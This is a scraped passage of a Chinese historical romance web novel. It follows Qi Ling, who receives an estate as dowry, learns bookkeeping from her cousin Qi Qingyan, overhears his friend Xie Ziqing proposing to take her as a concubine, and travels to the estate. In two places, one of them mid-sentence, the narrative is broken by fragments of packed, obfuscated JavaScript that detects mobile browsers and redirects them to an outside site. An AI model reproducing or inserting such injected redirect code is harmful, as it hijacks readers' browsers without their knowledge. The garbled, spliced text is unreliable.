“母亲又忙了起来,近来晚上不让女儿相陪,不知详情。”祁泠道。 “她外柔内刚,素来要强,不肯与人说——” “父亲,不知姨娘用没用膳,我们还是早些回去吧。”祁云漱在侧出言打断。 祁观复何尝不知是两院相争。也不对,一边盼着他,而令一边不愿见他,总归是夫妻陌路,再难圆。 他沉默后只嘱咐祁泠道:“好生照料你母亲,其余事不必担心。” “是,父亲。”祁泠应道。 她站在院中许久,看着三人渐渐走远。 “妹妹。”祁清宴亦从旁侧的小客堂走出,到祁泠身边,那股若有若无的檀香又缠绕在她旁边。 他问:“妹妹站在这里许久,在想什么?” 祁泠摇摇头,“无所事事,闲想罢了。” 祁清宴道:“有门学问,名珠算。我那正有几本书,妹妹若闲来无事不如翻看一番,若学会几分,对日后也有益……不知妹妹可愿看?” 祁泠不解他为何突然提及珠算,但端午过后,她确实没事可做,技多不压身,于是道好。 “我遣人给你送去。”祁清宴顿了下,才道:“不知妹妹今日做的角黎可还有余?” 祁泠倒为难起来。为新鲜,她昨晚备好料,全部包好放在冰窖里,命人今日起早蒸的。因着老夫人的话,处处都送了,余下的分给下人。想来是他起的太早,没能赶上。 她便道:“都分出去了,我再做些送与堂兄吧。” “那便劳烦妹妹了。”他笑着应。 …… 五月过得极快,天气愈发热,冯夫人的身子也有了起色,重新管起了二房事。 祁泠便恢复了往日在江州的悠闲,时不时做些糕点送去瑞霭堂,想着祁清宴说过的话,有时也吩咐人顺路送去琅玕院。 这日正午,祁云漪嚷着要去寻祖母,祁泠本想在屋中歇凉,但被闹得不休,她只好遂了,陪着去了瑞霭堂。 沈老夫人正在用午膳,道:“你们姐俩陪我一同用吧。” 祁泠打算站在老夫人身旁,作为晚辈,又不像祁云漪那般小,礼应侍奉老夫人用膳。可老夫人摆摆手,道:“不必,你也吃一口,让听荷来。” 祖孙三个便同坐一桌,用起膳来。 不稍多时,守门的小丫鬟欢欢喜喜来报:“老夫人,三郎君来了。” “正巧,让他也来坐一会儿。”沈老夫人道。 门帘掀起,祁清宴从外进来,今日一身深色直裾袍,腰束玉带,方从府外归来的模样。他先同老夫人请了安,又看向二房的姐妹俩,道:“两位妹妹也在。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15600815|171632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“三哥哥。”祁云漪仰着小脸笑成一朵花,语气轻快。她没事就跑来老夫人的瑞霭堂玩,遇到过几次祁清宴,已经弄明白关系了。 祁云漪喊完人,便到了祁泠。 她与祁清宴实打实将近一月没见过了,平常无事没机会见面。祁云漪在前面唤的亲近,而她又不好太生分,随着道一声,“兄长。” “嗯。”祁清宴顺口应下,随即神情一愣,笑着看向她,狭长的眼尾弯弯,荡来淡淡的柔和来,自带几分意味。 祁泠是个何等敏感的人,怎么会看不出其中揶揄意思,脸皮又薄,一时面上火辣辣的热。从前怕喊得太亲近,有奉承讨好的意思,惹了人嫌。今受了恩惠,关系好了,又改了称呼,她匆匆望向旁处,避开目光。 幸好祁清宴是个洞察人心,又不追问的人,转过去与老夫人说起话来。 沈老夫人对这个孙子又愧疚又喜欢,连忙让丫鬟端着添了碗筷上来,祁清宴也不推辞,他自坐在了边上,老夫人正对面的位置。 老夫人今日难得开怀,挨个看看:“今日倒好,人齐。”又感慨道:“一家人还是在一块的好,热闹日子多。” 她又问祁清宴:“昨个儿你去了没?” 祁清宴回:“去了,与子青一同去,送的礼比寻常重些。” “好好,那便好,不能让人挑出毛病来,礼重些也好。从你那拿出来的?” “二叔二叔母也送了过来,不过我正好有几件越窑青瓷并古玩,放着也无用,转手送出去罢了。” 沈老夫人望向祁泠,时值六月,天气燥热,她平日在家穿得也寻常,不过白色短襦,前系丝带,下搭青绿间色长裙,挽髻簪花而已。 她安安静静地坐在旁边,用膳时模样也秀气,一举一动似画里的人。 瑞安王妃有句话说的倒是不错,这样乖巧又有孝心的孩子,放在身边也养眼。当然当初的瑞安王妃还有另一层意思,生出来的孩子也好看。 若是未生变故,她昨日已然嫁去卢家,成了卢家妇。卢家照常行婚仪,娶了杜氏女,而祁泠仍是祁家的女娘。 女儿家的命运,从此变了。 沈老夫人收回目光,又问祁清宴:“我那处庄子,你理清没呢?” 祁清宴道:“听祖母的吩咐,前些时日我亲自去了一回,对过账,查了一遍,将原本管家、仆从、护院里手脚不干净的都撵了出去,换了一批干净麻利的人。” “嗯。”沈老夫人难掩赞许意,又唤一声,“阿泠。” “你有空跟着三郎去一趟,拿过账本、名薄,接了庄子的管。那是我从前的陪嫁庄子,后来……庄子被抄了不少,余下里这个最大的,便给你,将来当做你的嫁妆。” 祁泠本来事不关己地听着,目光不由自主望向老夫人,眼中写满惊讶,“祖母。” 如今庄子难得,又是自带护院的大庄子,更是少了。她道:“祖母,阿泠的嫁妆足了,也不会管庄子,祖母不如把庄子留着,或是赠与其他姐妹……” “给你便收了。你母亲是个主意正的,二房私产少,地更少,女儿家还是要有自己的庄子才好,嫁了人底气也足。旁人自有父母筹备,缺不了她们的东西。” 祁清宴也适时道:“前些日子,我送妹妹那的珠算书,妹妹可瞧了?” 他这一说话,转了祁泠的注意,下意识回了句,“看得差不多了……”恍然察觉了,原来祁清宴早就知道了。 “偏你机灵,我只提一句,你就知道了?”沈老夫人哈哈大笑起来,谁能不喜欢小辈聪慧? 上回端午,她先将祁泠留下,之后又留祁清宴说话,原嘱咐让他理理庄子,也没多说。 祁清宴笑而不语。他自然了解祖母,说着不管二房,实际还是心软,答应了退婚,也顺手接了祁泠的婚事。二房初回建业,能找到什么好婚事? 祁云漱和祁望舒早已定亲,备好了嫁妆,在这个时候,老夫人突然要管庄子,还能为何? “罢了罢了。”沈老夫人拍了拍祁泠的手,“卢家已成了婚,再与咱们无关。你大姐姐和二姐姐都定了不错的婚事,你的婚事也该开始寻了。” 她转而又看向祁清宴,道:“三郎,你在外见多识广,见到的好儿郎也多。阿泠如此,又有祁家在后,想来婚事好寻。你挑些好的人来,为你妹妹择一夫婿,如何?” 祁清宴不假思索,自然应了一声—— “好。” 14. 第十四章 世道不太平,改朝换代频繁,今朝是楚氏江山,再过个几十年又不好说是谁家的天下了。世家大族虽底蕴深厚,可遇乱世,也少不得折腾。 有个宅子,即使祁泠嫁了旁家,若有逼不得已,走投无路之时也能住进她自己的庄子里,有护卫和田庄,总能避上一避。 这比寻常的嫁妆重的多了。 老夫人却说给就给了,直接让祁泠把地契拿走,只饭中提了一嘴,当做小事,不再多说施恩。 而祁泠这顿饭用得食之无味,老夫人和祁清宴待她极好,她却没什么能报答的。帮扶小辈是常理,她毕竟与祁家毫无血缘,受恩良多,只能感念在心。 再加上,婚事又要重新相看,纵有祁家做主,可嫁与不相识的人,难免又是一桩心事。 用过了饭,老夫人又嘱咐道:“阿泠,去时喊上你大姐姐,她少出门,带着她出去多走走。你俩做个伴,在庄子里住几日也行得通。” 祁泠应下,将事记在心里,寻思着这几日无事少不得去寻祁望舒一趟,既要叙叙话,也依老夫人的意思邀她同去。 祁云漪出门时打了个哈欠,夏日易困乏,祁泠也被染了几分倦意,牵着祁云漪的手,准备回二房去午歇。 祁清宴与姐妹俩一同出的瑞霭堂,分别前主动问:“上次妹妹看过的书,可有不懂之处?” 祁泠确实差不多看了一遍,不过筹算太难,她如实说:“囫囵吞枣略看会了而已,自己算起来却慢,离能管庄子还差许多。” “既然这般,若妹妹有空,不如随我去一趟?” 祁泠还未说话,祁云漪便被新鲜事吸引了注意,一时也不困了,干脆利落地甜甜说好。她年岁小,大家都宠着她。 祁泠只好也点了头。 祁云漪还没去过大房那边,精神回来了,一路上问东问西,皆由祁清宴耐心回答她。 六七月正是夏里最闷最热的时候,而琅玕院却不闷。侍从在院中青石洒过一遍水,浇透青石,如同雨后,一进院里便觉周身盈着舒适的凉。 青娥带着沉弦迎了上来,被祁清宴吩咐一番,又各自去做事。 祁泠未曾见到碧若,但总归与她无关,牵着祁云漪,跟着祁清宴去了书房。 书房与她上回来时相似,不过素屏后添了一青铜冰鉴,放了不少整块的冰,飘散出丝丝凉气来,屋内比外头更舒服。 不像老夫人怕冷,只是敞了窗透气而已。二房虽有冰,但只正午摆出来几块解解暑气,用扇子扇出凉风来,总归没这么舒服。 沉弦搬来一箱书卷,放在门口,祁清宴去挑了几卷竹简出来,摆在内里案桌侧旁的小案上。 青娥抬来一个更小些的竹桌,放在小案两边,依次铺了两个垫子。 祁清宴与祁泠说:“我从庄子回来时,带了近几年的账本,留出几卷与你理。书上的东西看过、懂了,要落到实处才算真的明白。今日你便用筹算,试着对帐。” 他又看向与祁泠腰一般高的祁云漱,“云漪已七岁,想来识过字了。你姐姐看账本,你便练些大字出来,待明年开春,家中再请位女先生细细教你读书。” “啊……”祁云漪的小脸皱成一团,委屈巴巴地看向祁泠,她是和姐姐来玩的呀! 祁泠别开目光,跪坐在小案旁,被祁清宴留在这里看账本,有种回到读书时,每日做功课时的感受,一时自身难保。 “三哥哥,阿姐留在这儿……我和银盘姐姐回家去好不好……” 祁云漪跑过去,拽着祁清宴的衣袍,撒娇央求着。让一个整日玩闹惯了的小孩静下心来写字,实在是种折磨。 “不行。”祁清宴干脆利落道。 祁云漪跑也跑不掉,开始后悔为何要来,打定主意下次不会再来,憋屈坐在姐姐旁边,被迫拿起笔来描字。 而祁泠低头摆着竹制的小棍,心中略略复习过筹算,便打开竹简,看起帐来。这竹简像有些年头的了,竹色暗沉,洇进去的墨迹略有褪色。 她于看帐一事实在算不得熟。读书写字还是早些年,和祁云漪一般大的时候,父亲一齐教她与祁云漱祁雪峤三个。 再大些,定下亲事来,冯夫人教她简单算帐,理中馈。但冯夫人身子不大好,也没精力,二房的事被柳姨娘争着抢着去做,她沾不上手,渐渐也生疏了。 故而,这账本看得便甚是艰难,磕磕绊绊。 “怎么?” 只过了一小会儿,祁清宴的声音便传了过来。他偶然抬头,见她桌上算筹摆的乱成一片,而她眉头紧皱,颇为忧愁的模样。 “兄长。”唤多了便习惯了,祁泠指了指竹简上一处,苦恼道:“我分辨不清这上面的字,似三又似五,怎么算都对不上。” 他遂起身,走来,略微俯身细看祁泠指的那处。 一股淡淡的,有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15611489|171632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷的香气侵过来,从后萦绕至身前,渐渐熟悉的味道,祁泠僵住,维持着不动的姿势,任由他的目光从后而来,落在她桌前。 他抬袖,手指放在竹简上,指着那模糊的一处,道:“即非三,也不是五。” “本是写错改错的法子,被底下人钻了空,故意用刀尖划乱墨迹,好吞些银子,只想着主子不会看,看了也不会仔细去算。写帐的人还在庄子上,全家老少都在,妹妹认为该怎么追究?” “将人逐出去?”祁清宴站起身,以一种商量的语气问她。 “全家都在庄子里,想来呆的年头久,还是不逐出去罢。”祁泠思索后摇了摇头。 祁清宴笑。她未免太过良善心软,管不住下面的人,以后少不得要有恶仆欺主之事。 “但不能当做不知晓,轻放过去。”祁泠道:“兄长已赶了一些人走,有了威慑。可若那人知道自己的法子躲过一次,难免再生侥幸之心。可在私下警告一番,免他一回,再错便重罚。” 倒是可以再教,不会被欺负得死死的。祁清宴道:“继续看吧,看完同我说。” 祁泠点点头,摆着算筹,偶尔有竹子相碰的声响。 …… 过了许久,书房内彻底安静下来,片刻后,又有脚步声响起。 祁清宴闻声抬头看去—— 祁云漪实在没了耐心,不想再写,正站在祁泠的案前。而祁泠不知何时闭上了眼,头枕在胳膊上,一只手攥着算筹,呼吸却绵长起来。 祁云漪看向祁清宴,她刚发现睡着的祁泠,欲叫醒她偷懒的阿姐。 祁清宴对她摇了摇头,祁云漪听话地收回手。他起身,将祁云漪带出去,交给守在书房前的青娥,“带小娘子去三房,寻阿濯一起玩。” 说着,他语气转冷,“另外派人去告诉庄上的典计,假账事发,累着共几百两银子的缺,府里要打他一顿板子,全家发卖出去,是我的意思。但三娘子求情,我只罚他一年例钱……敲打一番,让他知道庄子真换了主子。” 青娥一一记下。祁云漪听不明白,只眨着眼瞧,她早便坐不住了,欢欢喜喜被青娥牵走了。 祁清宴回到书房之中,内里十分静谧,与往日他独处时一般无二,只是多了个祁泠。 他又坐回案桌,拿起一卷案牍,时而抬头望她一眼。只见娇憨睡颜,一同当日泉涧巷。 他竟已然习惯。 15. 第十五章 金乌西落几许,拉长屋檐的影儿,窗外竹影轻摇,时而有混着蝉鸣的燥热风从窗外卷进,又被冰的冷气吹散。 祁泠睡醒时,没有寻常夏日午后醒时黏腻热意,衣衫轻贴在身上,略有凉意,浑身松泛,头压着的胳膊微微发木。 她从小案上抬起脑袋,映入眼帘是清幽典雅的书房,思绪有一瞬的空白,后知后觉发现位置不对,未在辛夷阁中。 她手中还攥着算筹,下意识看向身边,更小的案桌上笔墨乱放,一整卷竹简涂着飞舞的墨迹,下面坐着的垫子歪斜,空空荡荡,没了人影,霎时心中一惊。 “云漪坐不住,我许她出去玩了。”祁清宴出声解释。 从她睡醒的那刻,他便注意到了,将醒时她呼吸变得略急,睁眼坐起衣衫微响。 祁泠嗯一声,刚睡醒的声音软糯带着点懵,转瞬又想起,她都不知道云漪出去,那该睡了多久,顿时向祁清宴解释道:“兄长,我突然困了,不知不觉睡了过去,账……” 她低头看,见账本已经看到最后,其上几处描红。彻底清醒过来,记忆回笼,她算完本想同祁清宴讲,抬头看去,他揽袖持笔,似在回人书信,神情专注。 她便噤了声,等着他忙完。 本就几分困倦,身子乏,又算过帐,精神头也没了,她的头越垂越低,这才睡了过去。 “帐对完了,除去字迹不清那处,其余几处错的地方,数目小,时多时少,合起来没差多少。”祁泠悄悄理了理面上与发髻,省得出丑,整理好了仪表,才扶着案旁站起身来,将账本送到祁清宴桌前。 祁清宴检查着,算得比她快上许多,眉眼低垂。祁泠候在一旁,双手攥在一起,注意着他的表情,一时有被长辈检查功课的拘谨与紧张,直到听他道:“只缺了一点,时日久了,便罢了,不再追究。” 祁泠的心才彻底放回肚子里,随着点头,又听他说:“不如再看几卷帐?等用过晚膳再回——” “不用。”祁泠急急道。她拒绝地太过干脆利落,祁清宴话还没说完,她回绝的话就落了音。 惹得祁清宴抬眼望她。 她被迫停顿一瞬,实在是不想再留下对账,心虚垂头,两只手揪在一处,慢吞吞道:“兄长,我还是回去温习一遍书本,熟悉熟悉,再来算吧。” 祁清宴倒是笑了,“不必了,你底子不差,算成这般就可以了,不会被仆从糊弄就好,也不必事事亲力亲为。” 祁泠顿时如蒙大赦,长长松了一口气,晚膳倒也不必等了,看日头不过申时,几人又都在老夫人房里用了午膳。午膳他倒是没吃几口,可他一直在忙,留饭大概是客套之词。 她想明白后道:“兄长先忙,我回二房去便好了。” “可。”他合上竹简,只道一字。 祁泠账本卷起来,一齐放好,连带着将祁云漪桌上也整理一番,随后放轻脚步,走出书房。 她在门口没见到银盘,只有小沉弦坐在院中石凳上打盹。听见祁泠出来的声儿,沉弦睁眼,打了个哈欠,清醒过来上前道:“三娘子,青娥姐姐陪着小娘子去三房了,银盘本说要等娘子,后来也不知跑去哪儿了。” 银盘就是闲不下来,往日在二房空闲时都去寻旁的婆子丫鬟一处说话,如今在不熟的琅玕院能呆得久才怪。她笑着说:“没事的,我回去路上寻寻她,要是错过了,没遇到,她回这来儿,你与她说一声我走了就好。” 沉弦点点头,想起来什么又摇了摇头,“我送娘子回去吧,怎能让娘子自己回去。” 祁府守卫森严,她又不出去,只过道小门,又有何不能自己走的。不过祁泠看他一片天真又神情认真,便让他跟着一同走了。 琅玕院离老夫人的院子近,再往前面去是三房,东边是大夫人的居所。 沉弦说着送祁泠回去当真就是送祁泠回去,闷着头跟在祁泠身后。两人方走出竹林,迎面看见从东边小路上走来一位侍女,一身水蓝裙子,正是碧若。 三人同走一路,碧若俯身侧行了礼,面上没甚么表情,“三娘子安。” 祁泠应了,让她起身,就此相安无事。 可她身旁的沉弦没得碧若的好脸色,碧若朝他冷嗤一声,带着气走了。 弄得祁泠纳闷,偏头过去看了看沉弦,不明白碧若是冲着她,还是两人私下里起了什么龌龊。 沉弦人小也不是没有脾气,撇嘴,几分窝囊赌气,“娘子莫要理会她,碧若姐姐是与我置气。她被郎君罚了三月月例,这月又不许她上前侍奉,气我占了她的位置,才来生我的气。” 祁泠猜:“那也不至于将气都撒在你身上,她受罚与你有关,也与我有干系?看到你在我身边,才更生气了?” 沉弦顺着道:“娘子之前送来的糕点,郎君有一次没要,以后的全被她扔了。我告诉郎君,郎君罚了她,她没人可迁怒,就生起我的气来。” 祁泠一愣。 沉弦意识到不对,连忙摇头解释,“娘子莫要误会,郎君只那几次没要,此后都收下了。只可惜那些不知去向的糕点……” 听到自己亲手做的东西被扔了几次,祁泠难免有些不舒服,心头涌上几分失落来。仔细想想,糕点确实不是贵重的东西,祁府有名的厨娘不知多少,总比她这个半吊子做出来好的。 老夫人和姑母夸她,哪一个又真缺这口吃的,不过是借此让她在府中立足而已。祁清宴常在外面,更不缺了。 可总归是她亲手做的,一份心意被轻贱也令人难受。此后记着,少送些便好了,不一定每次口味都得人喜欢。 祁泠打定主意,便不再去想,将失落掀过去,看沉弦实打实惋惜的样子,她道:“今早我给漪漪蒸了些蜂蜜豆糕,又甜又软,容易克化,还剩下些,你可要尝尝?” 沉弦到底年岁小,立刻被转移了心神,“这……这不好吧……”嘴巴却不受控制地吧嗒几下,祁泠笑起来:“走吧,同是小孩子,漪漪喜欢吃,你也应该喜欢。” 沉弦顿时欢欢喜喜地跟着祁泠去了二房。他是琅玕院的人,又是个小孩儿,辛夷阁的丫鬟婆子都怕怠慢了他。 他吃了几块糕点,二房到了晚膳的时辰,他又吃了些厨房的菜,虽然和琅玕院平日吃得差不多,但一个房一个口味,尝尝鲜也不错。 临走时,他又被婆子塞了一把甜果子,边走边吃,还剩下些揣在怀里,小肚子鼓鼓的回了琅玕院。 琅玕院还未用膳,他走进院,被忙碌着的青娥一把逮到,“作甚么去了?好一会儿不见你人影,郎君要谢郎君前些日送来的画。是你放的,没人知道,郎君自己还在找呢。” 沉弦闻言来不及没回答,忙跑进书房去,祁清宴正站在书架前寻着东西,他擦了把汗上前去。 祁清宴停住动作,端详着沉弦,问:“你去二房了?” “嗯!郎君,我送三娘子回去,二房用晚膳,三娘子顺道留我一起吃。” 祁清宴面无表情,冷冷的,“留你吃饭你就答应?白长了嘴不会拒绝的么。将东西找出来,明日随我去燕府一趟。” 沉弦莫名其妙被斥了一顿,可到底是他回来晚了,祁清宴说完就走,只留他抱着刚找出来的画,不停琢磨。 难不成郎君不喜欢琅玕院的人与其他院子的人走得太近? 可他又不会瞎说话。 …… 祁泠用过晚膳,去冯夫人的院中请了安。祁云漪玩疯了,还没回来。 银盘晚膳前就回来了,祁泠带着她去三房找祁云漪,顺便同祁望舒商量一同去庄子的事。 老夫人思虑周全,若是邀祁云漱一同,少不得还要因厚此薄彼起纷争,祁望舒便不同了。 祁望舒人淡淡的,对此不在乎,听后没有埋怨老夫人为何从将庄子拿出来,反倒真心为祁泠高兴,细细同她说着如何管庄子。 听祁泠去琅玕院学管账,又说她也是会看账本的,祁泠有不会的日后只管来寻她。 祁泠也觉得好。 姐妹俩说话到底比在琅玕院方便一些,祁望舒与祁既白两个亲兄妹尚有避嫌,她也不能总去琅玕院。 祁泠深以为然,此后常寻祁望舒去,这是后话。 祁望舒果同老夫人说的那样不喜出去。但祁泠来劝,她想着祁泠从没独自出过建业,最终还是应了。 这边说好了,两姐妹又派人去问祁清宴何时有空,最终将日子拖到了半月后。 等到出门日,冯夫人将祁泠唤到近处,细细嘱咐过:“出门在外,不比江州,建业到处皇亲国戚权贵子弟。你如今婚事未定,需要小心,但又不能畏畏缩缩,躲在人后。婚事由你祖母做主,想来是差不了的,你自己也要相看着。我给你带去三百两,你与望舒在外面玩,添几个喜欢的首饰摆件回来。” 祁云漪托腮在旁边听着,笑嘻嘻的,“姐姐别忘了带好吃的回来。” 祁泠摸了摸祁云漪的小脑袋,自是答应。她原打算也带祁云漪一起,可冯夫人说她好不容易出门一趟,带着小孩子吵吵闹闹,一去几日不得安宁。 祁泠与冯夫人道别 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祁望舒在祁泠身旁,压低眉眼,和她道:“五皇子出身孟氏,极喜摆架子。她刚生了女儿,应回本家探亲回来。” 没消停一会儿,便有凌厉的声音响起,“是哪家的女儿,见了贵人,还不出来拜见。” 祁望舒望祁泠一眼,满是无奈,又告诉她无事,跟着她便好了。两人依次下了马车,祁望舒道:“娘娘金安,臣女是祁家女,带妹妹出城,恐惊扰娘娘贵体,故未上前。” 路中央立着的马车极宽,两匹马拉着,周身红木,车辕各处用鎏金片裹着,车檐四角悬着宫铃。车周跟着浩浩荡荡的皇家侍卫。 金线绣满日月星辰的马车帘子被一只涂满蔻丹的手掀起,露出一张贵妇人的芙蓉面来,勾着胭脂的眼眯起,打量着对面立着的两位貌美娘子。 孟氏耳旁有侍女道:“前头的是祁观岚的长女,与太常卿的长子定亲,后面的……刚回建业,退了卢家的婚,未有婚约。” 孟氏的目光便多留在祁泠面上,轻蔑又傲慢,许久才慢悠悠道:“原是祁家的妹妹们,女儿家年幼,不知礼节,今日便罢了。” 待皇家的马车辚辚走过。祁泠和祁望舒才重新回到马车上,这一折腾,两人身上都晒出汗来。 祁望舒接过瑞音递来的帕子,擦着手上的汗,道:“外头总有这样的人,装腔作势,我才不喜出来,应付他们。” “姐姐可曾见过五皇子妃?”祁泠用打湿的帕子擦着脸,问道。 祁望舒抿抿唇,“见过她几次。她从前出身不高,嫁人后尊贵起来,喜仗势凌人。又有些恶毒,皇子府内的嫔妾不知被她弄死多少。我们不与她作对,任由她折腾一通罢了。下车拜见,她必定避而不见,不去又来挑理。也罢了,这几年咱们的日子没有之前好过,虽然怄气,可到底是皇族,不得已之前,只好忍着让着,母亲是这般说的。” 祁泠记下,日后再遇见时避让就好了。 走出城门,不远处亭处有几位贵族子弟。祁家侍从认出自家主子,连忙禀过两名娘子,上前汇合。 祁望舒掀开马车帘子,祁泠也随之望去。 祁清宴正与一位红衣锦袍郎君言语,那郎君眉眼风流,笑了几声,斜望过马车这边来,祁清宴也随着看,像是介绍了两句。 祁望舒放下帘子,转而看向祁泠,看着便单纯可欺。她很不放心,便与祁泠道:“泠妹妹,那是谢子青,三哥的好友。他家世高,生的相貌好,又会哄人,若要来勾你,莫听信他言辞。他家里姬妾不少,又定了门当户对的正妻,哄骗女子厮混,没有半点真心。” 祁泠郑重点头,这类郎君原也不是她的中意。 连着走了两个时辰,遇到一家客栈,既有可以歇脚的地方,又看得过去,一行人便停下用些吃食,歇息一番。 祁清宴几人先下马,进了客栈。 祁望舒带着祁泠整理一番衣裙,晚去片刻,店内小二告诉郎君们要了间上房,给她们指了位置。 即遇见了,也少不得礼数。祁望舒识得人,打算带着祁泠去问好。 走到拐弯处,厢房门未关严,有陌生男声传出。 “三郎,我打听到了,那是你二叔的养女,不是亲生的女儿。咱们两家虽结不得正经姻缘,但再加上一层亲岂不美哉?” 祁泠脚步停住,她无意听人闲谈,没想到偶然听到她自己。也知晓她的出身到底是差,应了祁望舒的话,祁清宴友人欲讨她为妾。 内里只寂静了几息,便响起祁清宴的声音。 16. 第十六章 屋内有恼人暑气,熏得人燥热发闷。 祁清宴深知友人的秉性,听后毫不意外,在谢子青殷殷期盼的视线里,端起茶盏,不慌不忙轻抿了一口,嗓音清透,抚了些许燥气,“你自己去问——” “她若同意,我便许。” “推辞,赤果果的推辞!” 谢子青得了这话坐下,“祁叔不在,家里的事还不是你一句话一个准,这么说就是来搪塞我。” 两月前在沧浪楼,几人都听到了。卢家狎妓纳了个妾,他那妹妹便嫌弃不嫁了。言辞间听得似乎轻飘飘哄得人家郎君守身如玉,来日将是何等的驭夫有术。这般厉害的娘子,放着好端端的正头夫人不做,又岂会轻易同意去做妾室? 他后院有一众貌美姬妾,可总是缺一个更好些的,上次瞧见便几分意动。 容貌好倒是其次,在世家大族里,养出一股孤清的傲来,又自知根非在其中,带着几许自怜的柔,令人心折。 他的心不死,稍微倾身过去,追着问:“若是你妹妹真同意了,你可不要反悔?” “好了,别祸害人家好端端的娘子了。”坐在最里面的郎君看不过去,也开了口。 “咚——” 门被叩着响了一声,随之,祁望舒的声音响起,“三哥,我带着泠妹妹来一趟。” 祁望舒与祁泠依次,一同俯身侧行半礼,全了礼数。 谢子青没架子,率先起身朝两人回了一礼,视线落在祁泠面上,不是带着□□的觊觎,是见到了一件美好景或物的欣喜,倒让人生不起直白的反感来。 他语气夸张,又故作惊诧,“原以为祁家妹妹一人便足矣撑起整建业的颜色,没想到如今又添了一位,恐怕聚了整城灵气。祁家有两位妹妹,真真令人羡慕嫉妒死了。” 纵是私下里,对谢子青作风不喜良多,但他并无纨绔恶行,勾搭的女儿家又皆说自己心甘情愿。 祁望舒被逗得掩唇轻笑几声,望向祁泠,“可惜我妹妹长在江州,回来不久,若早几年回来定然名满建业了。任你羡慕也没用,谁令你早早定了亲事?不然送到你家养着好了。” 这些人哪个不是长了八百个心眼,都明白这是不小心被听到了。谢子青摇头笑笑,“那真是可惜了,只恨我早生了两岁。” 这便是消了心思。 祁望舒用胳膊轻轻推搡了祁泠,引她看过来,两人视线相接。她眼中迸出几分喜悦来,感染着祁泠也浑身轻松,掩唇笑起来。 直接进来当然是祁望舒的意思。 听内里说了几句,她便攥着祁泠的手,敲门进去。在她心底里都是同样的祁家娘子,祁泠又为何要躲着避着?长在祁家便是祁家的人,容不得去作践轻视。 尴尬之际,内里的郎君走向前,与两人作揖,“两位娘子。” 他过于清瘦,面容泛着些许病弱的苍白,又偏偏生得长眉狐眼,俊俏中又有着女儿家的艳色,整个人透着诡谲的美来。 鹤纹道袍裹着周身,声音微微沙哑。 祁泠唤一声,“燕郎君。” 方才进门前,祁望舒同她介绍过一遍。红衣是谢氏的郎君,谢氏人丁兴旺,庶出的子弟众多,无一不被长辈严苛以待,只这一位嫡出的郎君,被家中千娇万宠着,纵情肆意。 另一位是燕氏佪粱。燕家没落士族,十几年前才搬来建业,依附慕容氏,娶了慕容家的一位女儿,与祁清宴自小相识。 燕佪粱道:“我们要与三郎一齐去南陵郡,听闻两位妹妹要去庄子小住,正好同行一段。” “啊?三哥,你不与我和妹妹同去?”祁望舒惊讶问道。 祁泠也看向祁清宴,方才他说的话还在耳边。他回答前,她的心当真一直悬着,整个人空空荡荡无所依附,当真怕从他口中得到一个可字。 幸好没有,幸而他委婉拒绝。 祁清宴道:“是,我护送你们安然无恙到庄子便好,临时有些事,已与二哥说了,让他来接你们回去。”祁家几房混着排序,二哥正是祁望舒的亲生兄长。 遇到事也没法,只好如此。 祁望舒与祁泠去用了膳,一行人包括侍从都留在客栈稍作休息,直到午后日头渐小,一行人歇够了才重新上路去。 庄子占地广阔,周围的田户隶属于此,典计早早听闻府上要派人来此,听见外面报来的信儿,一家老小带着庄子里的下人等候。 马车停在庄子前,姐妹俩下车,祁清宴也几步过来,嘱咐着,“你二人且安心住下,我将沉弦留下,如有事便告诉沉弦,他能找到我。” 他又与祁泠道:“不必多忧心,略微熟悉下人,只当是来散心便好。” 祁泠点点头,目送着郎君翻身上马,逐渐远行。 祁望舒在侧,同祁泠道:“这三人,只有燕郎君在朝中有份不高的官职,其余两个入不得朝,却也整日忙得不着家,不知在做什么。” 祁家大房已经有了镇守北关的祁观颐,谢家亦是朝中亲信甚多,这两人若再居高位只会惹上头忧愁,所以还没有官职。 祁泠感觉他不是无所事事。 他那般的人,又怎会只做族中杂事? …… 典计姓吴,约莫有三四十岁,身量不高,给两位娘子问了安,又朝着祁泠拱手,“三娘子?” 祁泠道:“我是。” 典计感恩戴德,抹了把眼中泪,“奴谢过三娘子饶命之恩,承蒙三娘子恩情,这一家老小才有个去处、有饭吃。奴以后定忠心无二,事事报于娘子……” 说着,他将身后一位布衣夫人推出,“这是拙荆嬬娘,这几日跟在娘子身边伺候。这周围有山有水,还有可打猎的去处,两位娘子要去何处,有何事,吩咐她一声就行。” 祁泠初听他话时疑惑,后来想起在琅玕院看的账本,想起了祁清宴,便明白是他安排妥当了。 嬬娘瞧着是略有木讷的妇人,面对祁家来的两位主子拘谨又害怕,带两人去了准备好的房间,比不上祁府内雅致,倒也干净有趣意。 时常出门的郎君娘子精力充沛,可祁望舒与祁泠是两个宅的,折腾了大半日都有些累到了,盥洗沐浴后便早早睡下。 一夜安眠。 翌日,嬬娘端来些她亲手做的蒸饼、汤饼,配上腌制的咸葵菜和清蒸的冬瓜,用过了早膳,又问两人要去何处。 祁望舒道:“寻常的山水自是没什么看头,要是有好去处,建业知晓的人定然多,早寻着来了。可有什么亭子?周围有水就好,无论溪水河水,趁着凉快意思,我与妹妹呆一日便好了。” 嬬娘少了昨日的害怕,知晓来的两位娘子都是好说话的人,没有追究从前事的意思,她松了一口气,想了会儿才道:“庄子后面小山上有个亭子,景色倒是好看,不过路又陡又窄。” 